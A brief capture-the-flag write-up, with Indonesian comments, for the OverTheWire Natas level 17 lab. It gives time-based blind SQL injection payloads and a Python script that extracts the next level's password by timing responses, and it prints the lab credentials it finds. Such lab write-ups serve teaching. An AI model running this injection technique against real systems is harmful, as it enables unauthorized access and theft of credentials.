write up ctf by ariafatah
Username: natas17 URL: http://natas17.natas.labs.overthewire.org
# ketika saya coba ini dia menunggu 5 detik dan kurasa ini berhasil
# kita mengetahui bahwa terdapat user natas18
natas18" AND SLEEP(2);-- #
# lama requestnya (true)
natas19" AND SLEEP(2);-- #
# cepat requestnya (false)
natas18" AND substring(password,1,1) = 'a' AND sleep(2);-- #
natas18" AND BINARY substring(password,1,1) = 'a' AND sleep(2);-- #
6....b.d.j..lp.g....b.....l..g
import requests
import re
from time import *
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
username = "natas17"
password = "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC"
Url = "http://natas17.natas.labs.overthewire.org"
session = requests.session()
current_password = list()
while(True):
for character in characters:
print("Trying with: " + "".join(current_password) + character)
startTime = time()
response = session.post(Url, data={"username": 'natas18" AND password LIKE BINARY "' + "".join(current_password) + character + '%" AND SLEEP(2) #'},auth=(username, password))
endTime = time()
if endTime - startTime > 2:
current_password.append(character)
break
if len(current_password) == 32:
break
6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ